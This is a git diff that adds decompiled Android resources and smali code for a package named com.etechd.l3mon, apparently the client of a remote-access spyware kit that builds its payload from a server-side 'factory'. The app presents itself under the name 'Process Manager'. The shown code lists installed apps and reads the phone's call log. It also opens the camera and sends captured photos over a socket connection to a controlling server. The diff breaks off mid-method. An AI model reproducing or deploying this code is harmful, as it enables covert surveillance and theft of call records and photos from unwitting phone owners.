diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 0000000..c133a0c
Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png
new file mode 100644
index 0000000..bfa42f0
Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png
new file mode 100644
index 0000000..324e72c
Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png
new file mode 100644
index 0000000..aee44e1
Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/values-w820dp-v13/dimens.xml b/server/app/factory/decompiled/res/values-w820dp-v13/dimens.xml
new file mode 100644
index 0000000..3c3ff04
--- /dev/null
+++ b/server/app/factory/decompiled/res/values-w820dp-v13/dimens.xml
@@ -0,0 +1,4 @@
+
+
+ 64.0dip
+
diff --git a/server/app/factory/decompiled/res/values/colors.xml b/server/app/factory/decompiled/res/values/colors.xml
new file mode 100644
index 0000000..aa3140f
--- /dev/null
+++ b/server/app/factory/decompiled/res/values/colors.xml
@@ -0,0 +1,6 @@
+
+
+ #ffff4081
+ #ff3f51b5
+ #ff303f9f
+
diff --git a/server/app/factory/decompiled/res/values/dimens.xml b/server/app/factory/decompiled/res/values/dimens.xml
new file mode 100644
index 0000000..6992b89
--- /dev/null
+++ b/server/app/factory/decompiled/res/values/dimens.xml
@@ -0,0 +1,5 @@
+
+
+ 16.0dip
+ 16.0dip
+
diff --git a/server/app/factory/decompiled/res/values/ids.xml b/server/app/factory/decompiled/res/values/ids.xml
new file mode 100644
index 0000000..94d4cf4
--- /dev/null
+++ b/server/app/factory/decompiled/res/values/ids.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
diff --git a/server/app/factory/decompiled/res/values/public.xml b/server/app/factory/decompiled/res/values/public.xml
new file mode 100644
index 0000000..894dc98
--- /dev/null
+++ b/server/app/factory/decompiled/res/values/public.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server/app/factory/decompiled/res/values/strings.xml b/server/app/factory/decompiled/res/values/strings.xml
new file mode 100644
index 0000000..cc08ac4
--- /dev/null
+++ b/server/app/factory/decompiled/res/values/strings.xml
@@ -0,0 +1,4 @@
+
+
+ Process Manager
+
diff --git a/server/app/factory/decompiled/res/values/styles.xml b/server/app/factory/decompiled/res/values/styles.xml
new file mode 100644
index 0000000..62f238c
--- /dev/null
+++ b/server/app/factory/decompiled/res/values/styles.xml
@@ -0,0 +1,4 @@
+
+
+
+
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/AppInstaller.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/AppInstaller.smali
new file mode 100644
index 0000000..edccb4c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/AppInstaller.smali
@@ -0,0 +1,14 @@
+.class public Lcom/etechd/l3mon/AppInstaller;
+.super Ljava/lang/Object;
+.source "AppInstaller.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 13
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/AppList.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/AppList.smali
new file mode 100644
index 0000000..422148d
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/AppList.smali
@@ -0,0 +1,179 @@
+.class public Lcom/etechd/l3mon/AppList;
+.super Ljava/lang/Object;
+.source "AppList.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 14
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getInstalledApps(Z)Lorg/json/JSONObject;
+ .locals 10
+ .param p0, "getSysPackages" # Z
+
+ .line 18
+ new-instance v0, Lorg/json/JSONArray;
+
+ invoke-direct {v0}, Lorg/json/JSONArray;->()V
+
+ .line 20
+ .local v0, "apps":Lorg/json/JSONArray;
+ sget-object v1, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v1
+
+ const/4 v2, 0x0
+
+ invoke-virtual {v1, v2}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
+
+ move-result-object v1
+
+ .line 22
+ .local v1, "packs":Ljava/util/List;, "Ljava/util/List;"
+ const/4 v2, 0x0
+
+ .local v2, "i":I
+ :goto_0
+ invoke-interface {v1}, Ljava/util/List;->size()I
+
+ move-result v3
+
+ if-ge v2, v3, :cond_1
+
+ .line 23
+ invoke-interface {v1, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
+
+ move-result-object v3
+
+ check-cast v3, Landroid/content/pm/PackageInfo;
+
+ .line 24
+ .local v3, "p":Landroid/content/pm/PackageInfo;
+ if-nez p0, :cond_0
+
+ iget-object v4, v3, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
+
+ if-nez v4, :cond_0
+
+ .line 25
+ goto :goto_1
+
+ .line 28
+ :cond_0
+ :try_start_0
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 29
+ .local v4, "newInfo":Lorg/json/JSONObject;
+ iget-object v5, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
+
+ sget-object v6, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v6}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v6
+
+ invoke-virtual {v5, v6}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
+
+ move-result-object v5
+
+ invoke-interface {v5}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
+
+ move-result-object v5
+
+ .line 30
+ .local v5, "appname":Ljava/lang/String;
+ iget-object v6, v3, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
+
+ .line 31
+ .local v6, "pname":Ljava/lang/String;
+ iget-object v7, v3, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
+
+ .line 32
+ .local v7, "versionName":Ljava/lang/String;
+ iget v8, v3, Landroid/content/pm/PackageInfo;->versionCode:I
+
+ .line 34
+ .local v8, "versionCode":I
+ const-string v9, "appName"
+
+ invoke-virtual {v4, v9, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 35
+ const-string v9, "packageName"
+
+ invoke-virtual {v4, v9, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 36
+ const-string v9, "versionName"
+
+ invoke-virtual {v4, v9, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 37
+ const-string v9, "versionCode"
+
+ invoke-virtual {v4, v9, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 38
+ invoke-virtual {v0, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 39
+ nop
+
+ .end local v4 # "newInfo":Lorg/json/JSONObject;
+ .end local v5 # "appname":Ljava/lang/String;
+ .end local v6 # "pname":Ljava/lang/String;
+ .end local v7 # "versionName":Ljava/lang/String;
+ .end local v8 # "versionCode":I
+ goto :goto_1
+
+ :catch_0
+ move-exception v4
+
+ .line 22
+ .end local v3 # "p":Landroid/content/pm/PackageInfo;
+ :goto_1
+ add-int/lit8 v2, v2, 0x1
+
+ goto :goto_0
+
+ .line 42
+ .end local v2 # "i":I
+ :cond_1
+ new-instance v2, Lorg/json/JSONObject;
+
+ invoke-direct {v2}, Lorg/json/JSONObject;->()V
+
+ .line 44
+ .local v2, "data":Lorg/json/JSONObject;
+ :try_start_1
+ const-string v3, "apps"
+
+ invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_1
+
+ goto :goto_2
+
+ .line 45
+ :catch_1
+ move-exception v3
+
+ :goto_2
+ nop
+
+ .line 47
+ return-object v2
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/BuildConfig.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/BuildConfig.smali
new file mode 100644
index 0000000..284d8aa
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/BuildConfig.smali
@@ -0,0 +1,43 @@
+.class public final Lcom/etechd/l3mon/BuildConfig;
+.super Ljava/lang/Object;
+.source "BuildConfig.java"
+
+
+# static fields
+.field public static final APPLICATION_ID:Ljava/lang/String; = "com.etechd.l3mon"
+
+.field public static final BUILD_TYPE:Ljava/lang/String; = "debug"
+
+.field public static final DEBUG:Z
+
+.field public static final FLAVOR:Ljava/lang/String; = ""
+
+.field public static final VERSION_CODE:I = 0x1
+
+.field public static final VERSION_NAME:Ljava/lang/String; = "1.0"
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .line 7
+ const-string v0, "true"
+
+ invoke-static {v0}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
+
+ move-result v0
+
+ sput-boolean v0, Lcom/etechd/l3mon/BuildConfig;->DEBUG:Z
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 0
+
+ .line 6
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/CallsManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/CallsManager.smali
new file mode 100644
index 0000000..4b9d6e4
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/CallsManager.smali
@@ -0,0 +1,199 @@
+.class public Lcom/etechd/l3mon/CallsManager;
+.super Ljava/lang/Object;
+.source "CallsManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 11
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getCallsLogs()Lorg/json/JSONObject;
+ .locals 15
+
+ .line 16
+ const-string v0, "type"
+
+ const-string v1, "date"
+
+ const-string v2, "duration"
+
+ const-string v3, "name"
+
+ :try_start_0
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 17
+ .local v4, "Calls":Lorg/json/JSONObject;
+ new-instance v5, Lorg/json/JSONArray;
+
+ invoke-direct {v5}, Lorg/json/JSONArray;->()V
+
+ .line 19
+ .local v5, "list":Lorg/json/JSONArray;
+ const-string v6, "content://call_log/calls"
+
+ invoke-static {v6}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v8
+
+ .line 20
+ .local v8, "allCalls":Landroid/net/Uri;
+ invoke-static {}, Lcom/etechd/l3mon/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v6
+
+ invoke-virtual {v6}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v7
+
+ const/4 v9, 0x0
+
+ const/4 v10, 0x0
+
+ const/4 v11, 0x0
+
+ const/4 v12, 0x0
+
+ invoke-virtual/range {v7 .. v12}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v6
+
+ .line 22
+ .local v6, "cur":Landroid/database/Cursor;
+ :goto_0
+ invoke-interface {v6}, Landroid/database/Cursor;->moveToNext()Z
+
+ move-result v7
+
+ if-eqz v7, :cond_0
+
+ .line 23
+ new-instance v7, Lorg/json/JSONObject;
+
+ invoke-direct {v7}, Lorg/json/JSONObject;->()V
+
+ .line 24
+ .local v7, "call":Lorg/json/JSONObject;
+ const-string v9, "number"
+
+ invoke-interface {v6, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v9
+
+ invoke-interface {v6, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v9
+
+ .line 25
+ .local v9, "num":Ljava/lang/String;
+ invoke-interface {v6, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v10
+
+ invoke-interface {v6, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v10
+
+ .line 26
+ .local v10, "name":Ljava/lang/String;
+ invoke-interface {v6, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v11
+
+ invoke-interface {v6, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v11
+
+ .line 27
+ .local v11, "duration":Ljava/lang/String;
+ invoke-interface {v6, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v12
+
+ invoke-interface {v6, v12}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v12
+
+ .line 29
+ .local v12, "date":Ljava/lang/String;
+ invoke-interface {v6, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v13
+
+ invoke-interface {v6, v13}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v13
+
+ invoke-static {v13}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
+
+ move-result v13
+
+ .line 32
+ .local v13, "type":I
+ const-string v14, "phoneNo"
+
+ invoke-virtual {v7, v14, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 33
+ invoke-virtual {v7, v3, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 34
+ invoke-virtual {v7, v2, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 35
+ invoke-virtual {v7, v1, v12}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 36
+ invoke-virtual {v7, v0, v13}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 37
+ invoke-virtual {v5, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 39
+ nop
+
+ .end local v7 # "call":Lorg/json/JSONObject;
+ .end local v9 # "num":Ljava/lang/String;
+ .end local v10 # "name":Ljava/lang/String;
+ .end local v11 # "duration":Ljava/lang/String;
+ .end local v12 # "date":Ljava/lang/String;
+ .end local v13 # "type":I
+ goto :goto_0
+
+ .line 40
+ :cond_0
+ const-string v0, "callsList"
+
+ invoke-virtual {v4, v0, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 41
+ return-object v4
+
+ .line 42
+ .end local v4 # "Calls":Lorg/json/JSONObject;
+ .end local v5 # "list":Lorg/json/JSONArray;
+ .end local v6 # "cur":Landroid/database/Cursor;
+ .end local v8 # "allCalls":Landroid/net/Uri;
+ :catch_0
+ move-exception v0
+
+ .line 43
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 45
+ .end local v0 # "e":Lorg/json/JSONException;
+ const/4 v0, 0x0
+
+ return-object v0
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/CameraManager$1.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/CameraManager$1.smali
new file mode 100644
index 0000000..d627363
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/CameraManager$1.smali
@@ -0,0 +1,56 @@
+.class Lcom/etechd/l3mon/CameraManager$1;
+.super Ljava/lang/Object;
+.source "CameraManager.java"
+
+# interfaces
+.implements Landroid/hardware/Camera$PictureCallback;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lcom/etechd/l3mon/CameraManager;->startUp(I)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lcom/etechd/l3mon/CameraManager;
+
+
+# direct methods
+.method constructor (Lcom/etechd/l3mon/CameraManager;)V
+ .locals 0
+ .param p1, "this$0" # Lcom/etechd/l3mon/CameraManager;
+
+ .line 42
+ iput-object p1, p0, Lcom/etechd/l3mon/CameraManager$1;->this$0:Lcom/etechd/l3mon/CameraManager;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public onPictureTaken([BLandroid/hardware/Camera;)V
+ .locals 1
+ .param p1, "data" # [B
+ .param p2, "camera" # Landroid/hardware/Camera;
+
+ .line 45
+ iget-object v0, p0, Lcom/etechd/l3mon/CameraManager$1;->this$0:Lcom/etechd/l3mon/CameraManager;
+
+ invoke-static {v0}, Lcom/etechd/l3mon/CameraManager;->access$000(Lcom/etechd/l3mon/CameraManager;)V
+
+ .line 46
+ iget-object v0, p0, Lcom/etechd/l3mon/CameraManager$1;->this$0:Lcom/etechd/l3mon/CameraManager;
+
+ invoke-static {v0, p1}, Lcom/etechd/l3mon/CameraManager;->access$100(Lcom/etechd/l3mon/CameraManager;[B)V
+
+ .line 47
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/CameraManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/CameraManager.smali
new file mode 100644
index 0000000..c7b90cc
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/CameraManager.smali
@@ -0,0 +1,420 @@
+.class public Lcom/etechd/l3mon/CameraManager;
+.super Ljava/lang/Object;
+.source "CameraManager.java"
+
+
+# instance fields
+.field private camera:Landroid/hardware/Camera;
+
+.field private context:Landroid/content/Context;
+
+
+# direct methods
+.method public constructor (Landroid/content/Context;)V
+ .locals 0
+ .param p1, "context" # Landroid/content/Context;
+
+ .line 26
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 27
+ iput-object p1, p0, Lcom/etechd/l3mon/CameraManager;->context:Landroid/content/Context;
+
+ .line 28
+ return-void
+.end method
+
+.method static synthetic access$000(Lcom/etechd/l3mon/CameraManager;)V
+ .locals 0
+ .param p0, "x0" # Lcom/etechd/l3mon/CameraManager;
+
+ .line 20
+ invoke-direct {p0}, Lcom/etechd/l3mon/CameraManager;->releaseCamera()V
+
+ return-void
+.end method
+
+.method static synthetic access$100(Lcom/etechd/l3mon/CameraManager;[B)V
+ .locals 0
+ .param p0, "x0" # Lcom/etechd/l3mon/CameraManager;
+ .param p1, "x1" # [B
+
+ .line 20
+ invoke-direct {p0, p1}, Lcom/etechd/l3mon/CameraManager;->sendPhoto([B)V
+
+ return-void
+.end method
+
+.method private releaseCamera()V
+ .locals 1
+
+ .line 72
+ iget-object v0, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ if-eqz v0, :cond_0
+
+ .line 73
+ invoke-virtual {v0}, Landroid/hardware/Camera;->stopPreview()V
+
+ .line 74
+ iget-object v0, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ invoke-virtual {v0}, Landroid/hardware/Camera;->release()V
+
+ .line 75
+ const/4 v0, 0x0
+
+ iput-object v0, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ .line 77
+ :cond_0
+ return-void
+.end method
+
+.method private sendPhoto([B)V
+ .locals 7
+ .param p1, "data" # [B
+
+ .line 56
+ :try_start_0
+ array-length v0, p1
+
+ const/4 v1, 0x0
+
+ invoke-static {p1, v1, v0}, Landroid/graphics/BitmapFactory;->decodeByteArray([BII)Landroid/graphics/Bitmap;
+
+ move-result-object v0
+
+ .line 57
+ .local v0, "bitmap":Landroid/graphics/Bitmap;
+ new-instance v2, Ljava/io/ByteArrayOutputStream;
+
+ invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;->()V
+
+ .line 58
+ .local v2, "bos":Ljava/io/ByteArrayOutputStream;
+ sget-object v3, Landroid/graphics/Bitmap$CompressFormat;->JPEG:Landroid/graphics/Bitmap$CompressFormat;
+
+ const/16 v4, 0x14
+
+ invoke-virtual {v0, v3, v4, v2}, Landroid/graphics/Bitmap;->compress(Landroid/graphics/Bitmap$CompressFormat;ILjava/io/OutputStream;)Z
+
+ .line 59
+ new-instance v3, Lorg/json/JSONObject;
+
+ invoke-direct {v3}, Lorg/json/JSONObject;->()V
+
+ .line 60
+ .local v3, "object":Lorg/json/JSONObject;
+ const-string v4, "image"
+
+ const/4 v5, 0x1
+
+ invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 61
+ const-string v4, "buffer"
+
+ invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
+
+ move-result-object v6
+
+ invoke-virtual {v3, v4, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 62
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v4
+
+ invoke-virtual {v4}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v4
+
+ const-string v6, "0xCA"
+
+ new-array v5, v5, [Ljava/lang/Object;
+
+ aput-object v3, v5, v1
+
+ invoke-virtual {v4, v6, v5}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 67
+ nop
+
+ .end local v0 # "bitmap":Landroid/graphics/Bitmap;
+ .end local v2 # "bos":Ljava/io/ByteArrayOutputStream;
+ .end local v3 # "object":Lorg/json/JSONObject;
+ goto :goto_0
+
+ .line 65
+ :catch_0
+ move-exception v0
+
+ .line 66
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 69
+ .end local v0 # "e":Lorg/json/JSONException;
+ :goto_0
+ return-void
+.end method
+
+
+# virtual methods
+.method public findCameraList()Lorg/json/JSONObject;
+ .locals 11
+
+ .line 81
+ iget-object v0, p0, Lcom/etechd/l3mon/CameraManager;->context:Landroid/content/Context;
+
+ invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v0
+
+ const-string v1, "android.hardware.camera"
+
+ invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->hasSystemFeature(Ljava/lang/String;)Z
+
+ move-result v0
+
+ const/4 v1, 0x0
+
+ if-nez v0, :cond_0
+
+ .line 82
+ return-object v1
+
+ .line 87
+ :cond_0
+ :try_start_0
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ .line 88
+ .local v0, "cameras":Lorg/json/JSONObject;
+ new-instance v2, Lorg/json/JSONArray;
+
+ invoke-direct {v2}, Lorg/json/JSONArray;->()V
+
+ .line 89
+ .local v2, "list":Lorg/json/JSONArray;
+ const-string v3, "camList"
+
+ const/4 v4, 0x1
+
+ invoke-virtual {v0, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 92
+ invoke-static {}, Landroid/hardware/Camera;->getNumberOfCameras()I
+
+ move-result v3
+
+ .line 93
+ .local v3, "numberOfCameras":I
+ const/4 v5, 0x0
+
+ .local v5, "i":I
+ :goto_0
+ if-ge v5, v3, :cond_3
+
+ .line 94
+ new-instance v6, Landroid/hardware/Camera$CameraInfo;
+
+ invoke-direct {v6}, Landroid/hardware/Camera$CameraInfo;->()V
+
+ .line 95
+ .local v6, "info":Landroid/hardware/Camera$CameraInfo;
+ invoke-static {v5, v6}, Landroid/hardware/Camera;->getCameraInfo(ILandroid/hardware/Camera$CameraInfo;)V
+
+ .line 96
+ iget v7, v6, Landroid/hardware/Camera$CameraInfo;->facing:I
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ const-string v8, "id"
+
+ const-string v9, "name"
+
+ if-ne v7, v4, :cond_1
+
+ .line 97
+ :try_start_1
+ new-instance v7, Lorg/json/JSONObject;
+
+ invoke-direct {v7}, Lorg/json/JSONObject;->()V
+
+ .line 98
+ .local v7, "jo":Lorg/json/JSONObject;
+ const-string v10, "Front"
+
+ invoke-virtual {v7, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 99
+ invoke-virtual {v7, v8, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 100
+ invoke-virtual {v2, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 101
+ nop
+
+ .end local v7 # "jo":Lorg/json/JSONObject;
+ goto :goto_1
+
+ .line 102
+ :cond_1
+ iget v7, v6, Landroid/hardware/Camera$CameraInfo;->facing:I
+
+ if-nez v7, :cond_2
+
+ .line 103
+ new-instance v7, Lorg/json/JSONObject;
+
+ invoke-direct {v7}, Lorg/json/JSONObject;->()V
+
+ .line 104
+ .restart local v7 # "jo":Lorg/json/JSONObject;
+ const-string v10, "Back"
+
+ invoke-virtual {v7, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 105
+ invoke-virtual {v7, v8, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 106
+ invoke-virtual {v2, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 107
+ nop
+
+ .end local v7 # "jo":Lorg/json/JSONObject;
+ goto :goto_1
+
+ .line 109
+ :cond_2
+ new-instance v7, Lorg/json/JSONObject;
+
+ invoke-direct {v7}, Lorg/json/JSONObject;->()V
+
+ .line 110
+ .restart local v7 # "jo":Lorg/json/JSONObject;
+ const-string v10, "Other"
+
+ invoke-virtual {v7, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 111
+ invoke-virtual {v7, v8, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
+
+ .line 112
+ invoke-virtual {v2, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+
+ .line 93
+ .end local v6 # "info":Landroid/hardware/Camera$CameraInfo;
+ .end local v7 # "jo":Lorg/json/JSONObject;
+ :goto_1
+ add-int/lit8 v5, v5, 0x1
+
+ goto :goto_0
+
+ .line 116
+ .end local v5 # "i":I
+ :cond_3
+ const-string v4, "list"
+
+ invoke-virtual {v0, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ .line 117
+ return-object v0
+
+ .line 119
+ .end local v0 # "cameras":Lorg/json/JSONObject;
+ .end local v2 # "list":Lorg/json/JSONArray;
+ .end local v3 # "numberOfCameras":I
+ :catch_0
+ move-exception v0
+
+ .line 120
+ .local v0, "e":Lorg/json/JSONException;
+ invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 123
+ .end local v0 # "e":Lorg/json/JSONException;
+ return-object v1
+.end method
+
+.method public startUp(I)V
+ .locals 4
+ .param p1, "cameraID" # I
+
+ .line 32
+ invoke-static {p1}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ .line 33
+ iget-object v0, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
+
+ move-result-object v0
+
+ .line 34
+ .local v0, "parameters":Landroid/hardware/Camera$Parameters;
+ iget-object v1, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
